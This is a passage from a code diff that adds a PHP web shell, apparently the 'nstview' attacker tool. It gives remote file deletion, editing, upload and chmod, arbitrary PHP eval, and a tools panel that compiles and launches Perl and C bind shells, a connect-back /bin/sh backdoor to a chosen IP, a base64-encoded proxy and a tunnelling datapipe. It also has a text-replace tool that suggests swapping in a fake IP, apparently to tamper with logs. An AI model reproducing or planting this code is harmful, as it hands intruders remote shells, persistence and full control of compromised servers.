+mysql_drop_db("tmp_bd_file") or die("".mysql_error()." ");
+}
+
+
+print $copyr;
+die;
+}#end of read_file_safe_mode
+
+
+# sys
+$wich_f=$_GET['wich_f'];
+$delete=$_GET['delete'];
+$del_f=$_GET['del_f'];
+$chmod=$_GET['chmod'];
+$ccopy_to=$_GET['ccopy_to'];
+
+
+# delete
+if(@$_GET['del_f']){
+if(!isset($delete)){
+print "Delete this file?
+$d/$wich_f
+Yes / No
+";}
+if($delete==1){
+unlink($d."/".$del_f);
+print "File: $d/$del_f DELETED!
+ # BACK
+";
+}
+echo $copyr;
+exit;
+}
+
+
+# copy to
+if($ccopy_to){
+$wich_f=$_POST['wich_f'];
+$to_f=$_POST['to_f'];
+print "Copy file:
+$d/$ccopy_to
+
+
+File:
+To:
+
+";
+
+if($to_f){
+@copy($wich_f,$to_f) or die("Cannot copy!!! maybe folder is not writable ");
+print "Copy success!!! ";
+}
+
+echo $copyr;
+exit;
+}
+
+
+# chmod
+if(@$_GET['chmod']){
+$perms = @fileperms($d."/".$wich_f);
+print "CHMOD file $d/$wich_f
+ This file chmod is ";
+print perm($perms);
+print "
+ ";
+$chmd=<<
+
+
+
+
+
+
+
+HTML;
+
+print "".$chmd."
+
+$d/$wich_f
+
+
+
+";
+$t_total=$_POST['t_total'];
+if($t_total){
+chmod($d."/".$wich_f,$t_total);
+print "Now chmod is $t_total ";
+print "# BACK ";
+}
+echo $copyr;
+exit;
+}
+
+# rename
+if(@$_GET['rename']){
+print "RENAME $d/$wich_f ?
+
+
+RENAME $wich_f TO
+
+
+
+";
+
+@$rto=$_POST['rto'];
+
+if($rto){
+$fr1=$d."/".$wich_f;
+$fr1=str_replace("//","/",$fr1);
+$to1=$d."/".$rto;
+$to1=str_replace("//","/",$to1);
+
+rename($fr1,$to1);
+print "File $wich_f Renamed to $rto ";
+
+echo " ";
+
+}
+
+echo $copyr;
+exit;
+}
+
+
+
+
+if(@$_GET['deldir']){
+@$dir=$_GET['dir'];
+function deldir($dir)
+{
+$handle = @opendir($dir);
+while (false!==($ff = @readdir($handle))){
+if($ff != "." && $ff != ".."){
+if(@is_dir("$dir/$ff")){
+deldir("$dir/$ff");
+}else{
+@unlink("$dir/$ff");
+}}}
+@closedir($handle);
+if(@rmdir($dir)){
+@$success = true;}
+return @$success;
+}
+$dir=@$dir;
+deldir($dir);
+
+$rback=$_GET['rback'];
+@$rback=explode("/",$rback);
+$crb=count($rback);
+for($i=0; $i<$crb-1; $i++){
+ @$x.=$rback[$i]."/";
+}
+echo " ";
+echo $copyr;
+exit;}
+
+
+if(@$_GET['t']=="tools"){
+ # unix
+if($os=="unix"){
+print "
+
+P.S: After you Start, your browser may stuck! You must close it, and then run nstview.php again.
+
+
+
+";
+}#end of unix
+
+
+if($_POST['perl_bd']){
+$port=$_POST['port'];
+$perl_bd_scp = "
+use Socket;\$p=$port;socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));
+setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1);bind(S,sockaddr_in(\$p,INADDR_ANY));
+listen(S,50);while(1){accept(X,S);if(!(\$pid=fork)){if(!defined \$pid){exit(0);}
+open STDIN,\"<&X\";open STDOUT,\">&X\";open STDERR,\">&X\";exec(\"/bin/sh -i\");
+close X;}}";
+
+if(is_writable("/tmp")){
+$fp=fopen("/tmp/nst_perl_bd.pl","w");
+fwrite($fp,"$perl_bd_scp");
+passthru("nohup perl /tmp/nst_perl_bd.pl &");
+unlink("/tmp/nst_perl_bd.pl");
+}else{
+if(is_writable(".")){
+mkdir(".nst_bd_tmp");
+$fp=fopen(".nst_bd_tmp/nst_perl_bd.pl","w");
+fwrite($fp,"$perl_bd_scp");
+passthru("nohup perl .nst_bd_tmp/nst_perl_bd.pl &");
+unlink(".nst_bd_tmp/nst_perl_bd.pl");
+rmdir(".nst_bd_tmp");
+}
+}
+$show_ps="1";
+}#end of start perl_bd
+
+if($_POST['perl_proxy']){
+$port=$_POST['port'];
+$perl_proxy_scp = "IyEvdXNyL2Jpbi9wZXJsICANCiMhL3Vzci91c2MvcGVybC81LjAwNC9iaW4vcGVybA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMtIGh0dHAgcHJveHkgc2VydmVyLiB6YXB1c2thamVtOiBwZXJsIHByb3h5LnBsCTgxODEgbHVib2ogcG9ydCB2aTZpIDEwMjQtDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KI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3RlX2FkZHIgPSAoZ2V0aG9zdGJ5bmFtZSgkcmVtb3RlX2hvc3RuYW1lKSlbNF07DQogICAgaWYgKCEkcmVtb3RlX2FkZHIpIHsNCglkaWUgIlVua25vd24gaG9zdDogJHJlbW90ZV9ob3N0bmFtZSI7DQogICAgfQ0KDQogICAgQHJlbW90ZV9pcCA9IHVucGFjaygiQzQiLCAkcmVtb3RlX2FkZHIpOw0KICAgICRyZW1vdGVfaXAgPSBqb2luKCIuIiwgQHJlbW90ZV9pcCk7DQogICAgcHJpbnQgIkNvbm5lY3RpbmcgdG8gJHJlbW90ZV9pcCBwb3J0ICRwb3J0LlxuXG4iOw0KICAgICRzb2NrZXRfZm9ybWF0ID0gJ1MgbiBhNCB4OCc7DQogICAgJGxvY2FsX3BvcnQgID0gcGFjaygkc29ja2V0X2Zvcm1hdCwgJkFGX0lORVQsIDAsICRsb2NhbF9ob3N0X2lwKTsNCiAgICAkcmVtb3RlX3BvcnQgPSBwYWNrKCRzb2NrZXRfZm9ybWF0LCAmQUZfSU5FVCwgJHBvcnQsICRyZW1vdGVfYWRkcik7DQogICAgc29ja2V0KCRfWzBdLCAmQUZfSU5FVCwgJlNPQ0tfU1RSRUFNLCAkcHJvdG8pIHx8IGRpZSAic29ja2V0OiAkISI7DQogICAgYmluZCgkX1swXSwgJGxvY2FsX3BvcnQpIHx8IGRpZSAiYmluZDogJCEiOw0KICAgIGNvbm5lY3QoJF9bMF0sICRyZW1vdGVfcG9ydCkgfHwgZGllICJzb2NrZXQ6ICQhIjsNCiAgICAkY3VyID0gc2VsZWN0KCRfWzBdKTsgIA0KDQogICAgJHwgPSAxOwkJCQkjIERpc2FibGUgYnVmZmVyaW5nIG9uIHNvY2tldC4NCiAgICBzZWxlY3QoJGN1cik7DQp9DQoNCg==";
+
+if(is_writable("/tmp")){
+$fp=fopen("/tmp/nst_perl_proxy.pl","w");
+fwrite($fp,base64_decode($perl_proxy_scp));
+passthru("nohup perl /tmp/nst_perl_proxy.pl $port &");
+unlink("/tmp/nst_perl_proxy.pl");
+}else{
+if(is_writable(".")){
+mkdir(".nst_proxy_tmp");
+$fp=fopen(".nst_proxy_tmp/nst_perl_proxy.pl","w");
+fwrite($fp,base64_decode($perl_proxy_scp));
+passthru("nohup perl .nst_proxy_tmp/nst_perl_proxy.pl $port &");
+unlink(".nst_proxy_tmp/nst_perl_proxy.pl");
+rmdir(".nst_proxy_tmp");
+}
+}
+$show_ps="1";
+}#end of start perl_proxy
+
+if($_POST['c_bd']){
+$port=$_POST['port'];
+$c_bd_scp = "#define PORT $port
+#include
+#include
+#include
+#include
+#include
+
+int soc_des, soc_cli, soc_rc, soc_len, server_pid, cli_pid;
+struct sockaddr_in serv_addr;
+struct sockaddr_in client_addr;
+
+int main ()
+{
+ soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
+ if (soc_des == -1)
+ exit(-1);
+ bzero((char *) &serv_addr, sizeof(serv_addr));
+ serv_addr.sin_family = AF_INET;
+ serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
+ serv_addr.sin_port = htons(PORT);
+ soc_rc = bind(soc_des, (struct sockaddr *) &serv_addr, sizeof(serv_addr));
+ if (soc_rc != 0)
+ exit(-1);
+ if (fork() != 0)
+ exit(0);
+ setpgrp();
+ signal(SIGHUP, SIG_IGN);
+ if (fork() != 0)
+ exit(0);
+ soc_rc = listen(soc_des, 5);
+ if (soc_rc != 0)
+ exit(0);
+ while (1) {
+ soc_len = sizeof(client_addr);
+ soc_cli = accept(soc_des, (struct sockaddr *) &client_addr, &soc_len);
+ if (soc_cli < 0)
+ exit(0);
+ cli_pid = getpid();
+ server_pid = fork();
+ if (server_pid != 0) {
+ dup2(soc_cli,0);
+ dup2(soc_cli,1);
+ dup2(soc_cli,2);
+ execl(\"/bin/sh\",\"sh\",(char *)0);
+ close(soc_cli);
+ exit(0);
+ }
+ close(soc_cli);
+ }
+}
+
+";
+
+
+if(is_writable("/tmp")){
+$fp=fopen("/tmp/nst_c_bd.c","w");
+fwrite($fp,"$c_bd_scp");
+passthru("gcc /tmp/nst_c_bd.c -o /tmp/nst_bd");
+passthru("nohup /tmp/nst_bd &");
+unlink("/tmp/nst_c_bd.c");
+unlink("/tmp/nst_bd");
+}else{
+if(is_writable(".")){
+mkdir(".nst_bd_tmp");
+$fp=fopen(".nst_bd_tmp/nst_c_bd.c","w");
+fwrite($fp,"$c_bd_scp");
+passthru("gcc .nst_bd_tmp/nst_c_bd.c -o .nst_bd_tmp/nst_bd");
+passthru("nohup .nst_bd_tmp/nst_bd &");
+unlink(".nst_bd_tmp/nst_bd");
+unlink(".nst_bd_tmp/nst_c_bd.c");
+rmdir(".nst_bd_tmp");
+}
+}
+$show_ps="1";
+}#end of c bd
+
+
+if($_POST['bc_c']){ # nc -l -p 4500
+$port_c = $_POST['port_c'];
+$ip=$_POST['ip'];
+$bc_c_scp = "#include
+#include
+#include
+#include
+#include
+
+#include
+#include
+
+int fd, sock;
+int port = $port_c;
+struct sockaddr_in addr;
+
+char mesg[] = \"::Connect-Back Backdoor:: CMD: \";
+char shell[] = \"/bin/sh\";
+
+int main(int argc, char *argv[]) {
+ while(argc<2) {
+ fprintf(stderr, \" %s \", argv[0]);
+ exit(0); }
+
+addr.sin_family = AF_INET;
+addr.sin_port = htons(port);
+addr.sin_addr.s_addr = inet_addr(argv[1]);
+fd = socket(AF_INET, SOCK_STREAM, 0);
+connect(fd, (struct sockaddr*)&addr, sizeof(addr));
+
+send(fd, mesg, sizeof(mesg), 0);
+
+dup2(fd, 0);
+dup2(fd, 1);
+dup2(fd, 2);
+execl(shell, \"in.telnetd\", 0);
+
+close(fd);
+return 1;
+}
+
+";
+
+if(is_writable("/tmp")){
+if(file_exists("/tmp/nst_c_bc_c.c")){unlink("/tmp/nst_c_bc_c.c");}
+if(file_exists("/tmp/nst_c_bc_c.c")){unlink("/tmp/nst_c_bc");}
+$fp=fopen("/tmp/nst_c_bc_c.c","w");
+$bd_c_scp=str_replace("!n","\n",$bd_c_scp);
+fwrite($fp,"$bc_c_scp");
+passthru("gcc /tmp/nst_c_bc_c.c -o /tmp/nst_bc_c");
+passthru("nohup /tmp/nst_bc_c $ip &");
+unlink("/tmp/nst_bc_c");
+unlink("/tmp/nst_bc_c.c");
+}else{
+if(is_writable(".")){
+mkdir(".nst_bc_c_tmp");
+$fp=fopen(".nst_bc_c_tmp/nst_c_bc_c.c","w");
+$bd_c_scp=str_replace("!n","\n",$bd_c_scp);
+fwrite($fp,"$bc_c_scp");
+passthru("gcc .nst_bc_c_tmp/nst_c_bc_c.c -o .nst_bc_c_tmp/nst_bc_c");
+passthru("nohup .nst_bc_c_tmp/nst_bc_c $ip &");
+unlink(".nst_bc_c_tmp/nst_bc_c.c");
+unlink(".nst_bc_c_tmp/nst_bc_c");
+rmdir(".nst_bc_c_tmp");
+}
+}
+$show_ps="1";
+
+}#end of back connect C
+
+
+if($_POST['datapipe_pl']){
+$port_2=$_POST['port_2'];
+$port_3=$_POST['port_3'];
+$ip=$_POST['ip'];
+$datapipe_pl = "
+#!/usr/bin/perl
+# coded by CuTTer (rus hacker)
+use IO::Socket;
+use POSIX;
+
+\$localport=$port_2;
+\$host=\"$ip\";
+\$port=$port_3;
+
+\$daemon=1;
+
+\$DIR = undef;
+
+## Âûâîäèòü ëîã ñîáûòèé (1-äà, 0-íåò)
+\$log=0;
+
+
+
+
+\$| = 1;
+
+if (\$daemon){
+ print \"3anycKaeM daemon\n\";
+
+ \$pid = fork;
+ exit if \$pid;
+ die \"Couldn't fork: \$!\" unless defined(\$pid);
+ POSIX::setsid() or die \"Can't start a new session: \$!\";
+}
+
+%o = ('port' => \$localport,
+ 'toport' => \$port,
+ 'tohost' => \$host);
+
+\$ah = IO::Socket::INET->new(
+ 'LocalPort' => \$localport,
+ 'Reuse' => 1,
+ 'Listen' => 10)
+ || die \"Íåëüçÿ îòêðûòü ñîêåò äëÿ ñîåäèíåíèé: \$!\";
+
+print \"Íà÷èíàåì âûïîëíåíèÿ öèêëà.\n\" if \$log;
+\$SIG{'CHLD'} = 'IGNORE';
+\$num = 0;
+while (1) {
+ \$ch = \$ah->accept();
+ if (!\$ch) {
+ print STDERR \"Ïðåðâàíî âûïîëåíèå accept: \$!\n\";
+ next;
+ }
+
+ printf(\"Íîâûé êëèåíò: host %s, port %s.\n\",
+ \$ch->peerhost(), \$ch->peerport()) if \$log;
+ ++\$num;
+ \$pid = fork();
+ if (!defined(\$pid)) {
+ print STDERR \"Íåâîçìîæíî âûïîëíèòü fork: \$!\n\";
+ } elsif (\$pid == 0) {
+## Íîâûé ïðîöåññ
+ \$ah->close();
+ Run(\%o, \$ch, \$num);
+ } else {
+ print \"Parent: Fork ïðîøåë óñïåøíî, çàêðûâàåì ñîêåò.\n\" if \$log;
+ \$ch->close();
+ }
+}
+
+
+sub Run {
+ my(\$o, \$ch, \$num) = @_;
+ my \$th = IO::Socket::INET->new('PeerAddr' => \$o->{'tohost'},
+ 'PeerPort' => \$o->{'toport'});
+ print(\"Child: Äåëàåì ðåäèðåêò íà \$o->{'tohost'}, ïîðò \$o->{'toport'}.\n\") if \$log;
+ if (!\$th) {
+ printf STDERR (\"Child: Ïðåðâàí ðåäèðåêò íà %s, ïîðò %s.\n\",
+ \$o->{'tohost'}, \$o->{'toport'});
+ exit 0;
+ }
+
+ my \$fh;
+ if (\$o->{'dir'}) {
+ \$fh = Symbol::gensym();
+ open(\$fh, \">\$o->{'dir'}/tunnel\$num.log\")
+ or die \"Child: Ïðåðâàíî ñîçäàíèå ëîã ôàéëà \$o->{'dir'}/tunnel\$num.log: \$!\";
+ }
+
+ \$ch->autoflush();
+ \$th->autoflush();
+ while (\$ch || \$th) {
+ print \"Child: Âêëþ÷àåì öèêë.\n\" if \$log;
+ my \$rin = \"\";
+ vec(\$rin, fileno(\$ch), 1) = 1 if \$ch;
+ vec(\$rin, fileno(\$th), 1) = 1 if \$th;
+ my(\$rout, \$eout);
+ select(\$rout = \$rin, undef, \$eout = \$rin, 120);
+ if (!\$rout && !\$eout) {
+ print STDERR \"Child: Îøèáêà Timeout.\n\";
+ }
+ my \$cbuffer = \"\";
+ my \$tbuffer = \"\";
+
+ if (\$ch && (vec(\$eout, fileno(\$ch), 1) || vec(\$rout, fileno(\$ch), 1))) {
+ print \"Child: Æäåì äàííûõ îò êëèåíòà.\n\" if \$log;
+ my \$result = sysread(\$ch, \$tbuffer, 1024);
+ if (!defined(\$result)) {
+ print STDERR \"Child: Îøèáêà ïðè ñ÷èòûâàíèè äàííûõ êëèåíòà: \$!\n\";
+ exit 0;
+ }
+ if (\$result == 0) {
+ print \"Child: Êëèåíò îòñîåäèíèëñÿ.\n\" if \$log;
+ exit 0;
+ }
+
+ print \"Child: Äàííûå: \$cbuffer\n\" if \$log;
+ }
+
+ if (\$th && (vec(\$eout, fileno(\$th), 1) || vec(\$rout, fileno(\$th), 1))) {
+ print \"Child: Æäåì äàííûõ.\n\" if \$log;
+ my \$result = sysread(\$th, \$cbuffer, 1024);
+ if (!defined(\$result)) {
+ print STDERR \"Child: Íåâîçìîæíî ñ÷èòàòü äàííûå: \$!\n\";
+ exit 0;
+ }
+
+ if (\$result == 0) {
+ print \"Child: Ïðîèçîøëî îòñîåäèíåíèå.\n\" if \$log;
+ exit 0;
+ }
+
+ print \"Child: Äàííûå: \$cbuffer\n\" if \$log;
+ }
+
+ if (\$fh && \$tbuffer) {
+ (print \$fh \$tbuffer);
+ }
+
+ while (my \$len = length(\$tbuffer)) {
+ print \"Child: Îòïðàâëÿåì \$len áàéò.\n\" if \$log;
+ my \$res = syswrite(\$th, \$tbuffer, \$len);
+ print \"Child: Äàííûå îòïðàâëåíû.\n\" if \$log;
+ if (\$res > 0) {
+ \$tbuffer = substr(\$tbuffer, \$res);
+ } else {
+ print STDERR \"Child: Íåâîçìîæíî îòïðàâèòü äàííûå: \$!\n\";
+ }
+ }
+
+ while (my \$len = length(\$cbuffer)) {
+ print \"Child: Îòïðàâëÿåì \$len áàéò êëèåíòó.\n\" if \$log;
+ my \$res = syswrite(\$ch, \$cbuffer, \$len);
+ print \"Child: Äàííûå îòïðàâëåíû..\n\" if \$log;
+ if (\$res > 0) {
+ \$cbuffer = substr(\$cbuffer, \$res);
+ } else {
+ print STDERR \"Child: Íåâîçìîæíî îòïðàâèòü äàííûå: \$!\n\";
+ }
+ }
+ }
+}
+
+";
+
+if(is_writable("/tmp")){
+$fp=fopen("/tmp/nst_perl_datapipe.pl","w");
+fwrite($fp,"$datapipe_pl");
+passthru("nohup perl /tmp/nst_perl_datapipe.pl &");
+unlink("/tmp/nst_perl_datapipe.pl");
+}else{
+if(is_writable(".")){
+mkdir(".nst_datapipe_tmp");
+$fp=fopen(".nst_datapipe_tmp/nst_perl_datapipe.pl","w");
+fwrite($fp,"$datapipe_pl");
+passthru("nohup perl .nst_datapipe_tmp/nst_perl_datapipe.pl &");
+unlink(".nst_datapipe_tmp/nst_perl_datapipe.pl");
+rmdir(".nst_datapipe_tmp");
+}
+}
+$show_ps="1";
+
+}#end of datapipe perl
+
+
+
+
+
+if($show_ps=="1"){
+print "[ps ux] ";
+print "";
+passthru("ps ux");
+print " ";
+}
+
+
+
+echo "md5:
+
+md5 online encoder/decoder (brutforce) (php) - [DOWNLOAD ]
+
+";
+@$md5=@$_POST['md5'];
+if(@$_POST['md5']){ echo "md5:".md5($md5)." ";}
+echo "
+base64 e/d: ";
+if(@$_POST['base64']){
+@$base64=$_POST['base64'];
+echo "
+Encode: ".base64_encode($base64)."
+Decode: ".base64_decode($base64)." ";}
+echo "
+DES:
+John The Ripper [Web ] ";
+if(@$_POST['des']){
+@$des=@$_POST['des'];
+echo "Des: ".crypt($des)." ";}
+
+print "
+eval:
+(example: print \"Hello World\";)
+
+<?
+
+?>
+
+
+";
+
+function eval_sl($editf){
+if(get_magic_quotes_gpc()==1){
+$editf=stripslashes($editf);
+}
+return $editf;
+}
+
+
+if($_POST['eval']){
+print "RESULT: ";
+eval(eval_sl($_POST['eval']));
+print " ";
+
+print "PHP: \r\n\r\n";
+print "<?\r\n";
+print " ";
+print htmlspecialchars(eval_sl(($_POST['eval'])));
+print " ";
+print "?>\r\n\r\n ";
+
+}
+
+echo $copyr;
+exit;}
+
+if(@$_GET['replace']=="1"){
+$ip=@$_SERVER['REMOTE_ADDR'];
+$d=$_GET['d'];
+$e=$_GET['e'];
+@$de=$d."/".$e;
+$de=str_replace("//","/",$de);
+$e=@$e;
+echo "[Delete ] [Edit ] [Filesize to 0 byte ] [Replace text in file ] [Download ] [Rename ] [CHMOD ] [Copy ] ";
+echo "
+Replace tool:
+(You can replace any text)
+File: $de
+
+1. Your ip.
+2. microsoft.com ip :)
+Replace this by this
+
+
+";
+
+if(@$_POST['doit']){
+@$thisX=$_POST['thisX'];
+@$bythis=$_POST['bythis'];
+@$e=$_GET['e'];
+$filename="$d/$e";
+$fd = @fopen ($filename, "r");
+$rpl = @fread ($fd, @filesize ($filename));
+$re=str_replace("$thisX","$bythis",$rpl);
+$x=@fopen("$d/$e","w");
+@fwrite($x,"$re");
+echo "$thisX Replaced by $bythis
+[VIew file ] ";
+
+}
+echo $copyr;
+exit;}
+
+
+if(@$_GET['t']=="upload"){
+echo "
+* Mass upload *
+File upload:
+
+
+
+New file name:
+ (if empty, it will be default)
+
+
+";
+
+if(@$_POST['uploadf']){
+$where=$_POST['where'];
+$newf=$_POST['newf'];
+$where=str_replace("//","/",$where);
+if($newf==""){$newf=$_FILES['text']['name'];}else{$newf=$newf;}
+$uploadfile = "$where/".$newf;
+if (@move_uploaded_file(@$_FILES['text']['tmp_name'], $uploadfile)) {
+$uploadfile=str_replace("//","/",$uploadfile);
+echo " Uploaded to $uploadfile ";
+}else{
+echo " Error ";}
+}
+}
+
+if(@$_GET['t']=="massupload"){
+echo "
+Mass upload:
+
+
+
+
+
+
+
+
+
+
+
+
+
+ ";
+
+if(@$_POST['massupload']){
+$where=@$_POST['where'];
+$uploadfile1 = "$where/".@$_FILES['text1']['name'];
+$uploadfile2 = "$where/".@$_FILES['text2']['name'];
+$uploadfile3 = "$where/".@$_FILES['text3']['name'];
+$uploadfile4 = "$where/".@$_FILES['text4']['name'];
+$uploadfile5 = "$where/".@$_FILES['text5']['name'];
+$uploadfile6 = "$where/".@$_FILES['text6']['name'];
+$uploadfile7 = "$where/".@$_FILES['text7']['name'];
+$uploadfile8 = "$where/".@$_FILES['text8']['name'];
+$uploadfile9 = "$where/".@$_FILES['text9']['name'];
+$uploadfile10 = "$where/".@$_FILES['text10']['name'];
+$uploadfile11 = "$where/".@$_FILES['text11']['name'];
+$uploadfile12 = "$where/".@$_FILES['text12']['name'];
+$uploadfile13 = "$where/".@$_FILES['text13']['name'];
+$uploadfile14 = "$where/".@$_FILES['text14']['name'];
+$uploadfile15 = "$where/".@$_FILES['text15']['name'];
+$uploadfile16 = "$where/".@$_FILES['text16']['name'];
+$uploadfile17 = "$where/".@$_FILES['text17']['name'];
+$uploadfile18 = "$where/".@$_FILES['text18']['name'];
+$uploadfile19 = "$where/".@$_FILES['text19']['name'];
+$uploadfile20 = "$where/".@$_FILES['text20']['name'];
+if (@move_uploaded_file(@$_FILES['text1']['tmp_name'], $uploadfile1)) {
+$where=str_replace("\\\\","\\",$where);
+echo "Uploaded to $uploadfile1 ";}
+if (@move_uploaded_file(@$_FILES['text2']['tmp_name'], $uploadfile2)) {
+$where=str_replace("\\\\","\\",$where);
+echo "Uploaded to $uploadfile2 ";}
+if (@move_uploaded_file(@$_FILES['text3']['tmp_name'], $uploadfile3)) {
+$where=str_replace("\\\\","\\",$where);
+echo "Uploaded to $uploadfile3 ";}
+if (@move_uploaded_file(@$_FILES['text4']['tmp_name'], $uploadfile4)) {
+$where=str_replace("\\\\","\\",$where);
+echo "Uploaded to $uploadfile4 ";}
+if (@move_uploaded_file(@$_FILES['text5']['tmp_name'], $uploadfile5)) {
+$where=str_replace("\\\\","\\",$where);
+echo "Uploaded to $uploadfile5 ";}
+if (@move_uploaded_file(@$_FILES['text6']['tmp_name'], $uploadfile6)) {
+$where=str_replace("\\\\","\\",$where);
+echo "Uploaded to $uploadfile6 ";}
+if (@move_uploaded_file(@$_FILES['text7']['tmp_name'], $uploadfile7)) {
+$where=str_replace("\\\\","\\",$where);
+echo "Uploaded to $uploadfile7 ";}
+if (@move_uploaded_file(@$_FILES['text8']['tmp_name'], $uploadfile8)) {
+$where=str_replace("\\\\","\\",$where);
+echo "Uploaded to $uploadfile8 ";}
+if (@move_uploaded_file(@$_FILES['text9']['tmp_name'], $uploadfile9)) {
+$where=str_replace("\\\\","\\",$where);
+echo "Uploaded to $uploadfile9 ";}
+if (@move_uploaded_file(@$_FILES['text10']['tmp_name'], $uploadfile10)) {
+$where=str_replace("\\\\","\\",$where);
+echo "Uploaded to $uploadfile10 ";}
+if (@move_uploaded_file(@$_FILES['text11']['tmp_name'], $uploadfile11)) {
+$where=str_replace("\\\\","\\",$where);
+echo "Uploaded to $uploadfile11 ";}
+if (@move_uploaded_file(@$_FILES['text12']['tmp_name'], $uploadfile12)) {
+$where=str_replace("\\\\","\\",$where);
+echo "Uploaded to $uploadfile12 ";}
+if (@move_uploaded_file(@$_FILES['text13']['tmp_name'], $uploadfile13)) {
+$where=str_replace("\\\\","\\",$where);
+echo "Uploaded to $uploadfile13 ";}
+if (@move_uploaded_file(@$_FILES['text14']['tmp_name'], $uploadfile14)) {
+$where=str_replace("\\\\","\\",$where);
+echo "Uploaded to $uploadfile14 ";}
+if (@move_uploaded_file(@$_FILES['text15']['tmp_name'], $uploadfile15)) {
+$where=str_replace("\\\\","\\",$where);
+echo "Uploaded to $uploadfile15 ";}
+if (@move_uploaded_file(@$_FILES['text16']['tmp_name'], $uploadfile16)) {
+$where=str_replace("\\\\","\\",$where);
+echo "Uploaded to $uploadfile16 ";}
+if (@move_uploaded_file(@$_FILES['text17']['tmp_name'], $uploadfile17)) {
+$where=str_replace("\\\\","\\",$where);
+echo "Uploaded to $uploadfile17 ";}
+if (@move_uploaded_file(@$_FILES['text18']['tmp_name'], $uploadfile18)) {
+$where=str_replace("\\\\","\\",$where);
+echo "Uploaded to $uploadfile18 ";}
+if (@move_uploaded_file(@$_FILES['text19']['tmp_name'], $uploadfile19)) {
+$where=str_replace("\\\\","\\",$where);
+echo "Uploaded to $uploadfile19 ";}
+if (@move_uploaded_file(@$_FILES['text20']['tmp_name'], $uploadfile20)) {
+$where=str_replace("\\\\","\\",$where);
+echo "Uploaded to $uploadfile20 ";}
+}
+echo $copyr;
+exit;}
+
+if(@$_GET['yes']=="yes"){
+$d=@$_GET['d']; $e=@$_GET['e'];
+unlink($d."/".$e);
+$delresult="Success $d/$e deleted ";
+}
+if(@$_GET['clean']=="1"){
+@$e=$_GET['e'];
+$x=fopen("$d/$e","w");
+fwrite($x,"");
+echo " ";
+exit;
+}
+
+
+if(@$_GET['e']){
+$d=@$_GET['d'];
+$e=@$_GET['e'];
+$pinf=pathinfo($e);
+if(in_array(".".@$pinf['extension'],$images)){
+echo " ";
+exit;}
+$filename="$d/$e";
+$fd = @fopen ($filename, "r");
+$c = @fread ($fd, @filesize ($filename));
+$c=htmlspecialchars($c);
+$de=$d."/".$e;
+$de=str_replace("//","/",$de);
+if(is_file($de)){
+if(!is_writable($de)){echo "READ ONLY ";}}
+echo "[Delete ] [Edit ] [Filesize to 0 byte ] [Replace text in file ] [Download ] [Rename ] [CHMOD ] [Copy ] ";
+echo "
+File contents:
+$de
+
+
+
+";
+
+if(@$_GET['delete']=="1"){
+$delete=$_GET['delete'];
+echo "
+DELETE: Are you sure?
+Yes || No
+
+";
+if(@$_GET['yes']=="yes"){
+@$d=$_GET['d']; @$e=$_GET['e'];
+echo $delresult;
+}
+if(@$_GET['no']){
+echo "
+";
+}
+
+
+} #end of delete
+echo $copyr;
+exit;
+} #end of e
+
+if(@$_GET['edit']=="1"){
+@$d=$_GET['d'];
+@$ef=$_GET['ef'];
+$e=$ef;
+if(is_file($d."/".$ef)){
+if(!is_writable($d."/".$ef)){echo "READ ONLY ";}}
+echo "[Delete ] [Edit ] [Filesize to 0 byte ] [Replace text in file ] [Download ] [Rename ] [CHMOD ] [Copy ] ";
+$filename="$d/$ef";
+$fd = @fopen ($filename, "r");
+$c = @fread ($fd, @filesize ($filename));
+$c=htmlspecialchars($c);
+$de=$d."/".$ef;
+$de=str_replace("//","/",$de);
+echo "
+Edit:
+$de ";
+
+if(!@$_POST['save']){
+print "
+
+
+$c
+
+
+";
+}
+if(@$_POST['save']){
+$editf=@$_POST['editf'];
+
+if(get_magic_quotes_runtime() or get_magic_quotes_gpc()){
+$editf=stripslashes($editf);
+}
+
+$f=fopen($filename,"w+");
+fwrite($f,"$editf");
+echo "
+File edited.
+ ";
+exit;
+}
+echo $copyr;
+exit;
+}
+
+
+
+echo"
+
+Filename Tools Size Owner/Group Perms
+";
+$dirs=array();
+$files=array();
+$dh = @opendir($d) or die("Permission Denied or Folder/Disk does not exist $copyr
");
+while (!(($file = readdir($dh)) === false)) {
+if ($file=="." || $file=="..") continue;
+if (@is_dir("$d/$file")) {
+ $dirs[]=$file;
+}else{
+ $files[]=$file;
+ }
+ sort($dirs);
+ sort($files);
+
+$fz=@filesize("$d/$file");
+}
+
+function perm($perms){
+if (($perms & 0xC000) == 0xC000) {
+ $info = 's';
+} elseif (($perms & 0xA000) == 0xA000) {
+ $info = 'l';
+} elseif (($perms & 0x8000) == 0x8000) {
+ $info = '-';
+} elseif (($perms & 0x6000) == 0x6000) {
+ $info = 'b';
+} elseif (($perms & 0x4000) == 0x4000) {
+ $info = 'd';
+} elseif (($perms & 0x2000) == 0x2000) {
+ $info = 'c';
+} elseif (($perms & 0x1000) == 0x1000) {
+ $info = 'p';
+} else {
+ $info = 'u';
+}
+$info .= (($perms & 0x0100) ? 'r' : '-');
+$info .= (($perms & 0x0080) ? 'w' : '-');
+$info .= (($perms & 0x0040) ?
+ (($perms & 0x0800) ? 's' : 'x' ) :
+ (($perms & 0x0800) ? 'S' : '-'));
+$info .= (($perms & 0x0020) ? 'r' : '-');
+$info .= (($perms & 0x0010) ? 'w' : '-');
+$info .= (($perms & 0x0008) ?
+ (($perms & 0x0400) ? 's' : 'x' ) :
+ (($perms & 0x0400) ? 'S' : '-'));
+$info .= (($perms & 0x0004) ? 'r' : '-');
+$info .= (($perms & 0x0002) ? 'w' : '-');
+$info .= (($perms & 0x0001) ?
+ (($perms & 0x0200) ? 't' : 'x' ) :
+ (($perms & 0x0200) ? 'T' : '-'));
+return $info;
+}
+
+
+for($i=0; $i$dirs[$i]";
+$linkd=str_replace("//","/",$linkd);
+echo "0 $linkdDIR $owner/$group $info ";
+}
+
+for($i=0; $i2 $files[$i] [options] $siz $owner/$group $info ";
+}
+
+echo "
";
+echo $copyr;
+
+?>
+
\ No newline at end of file
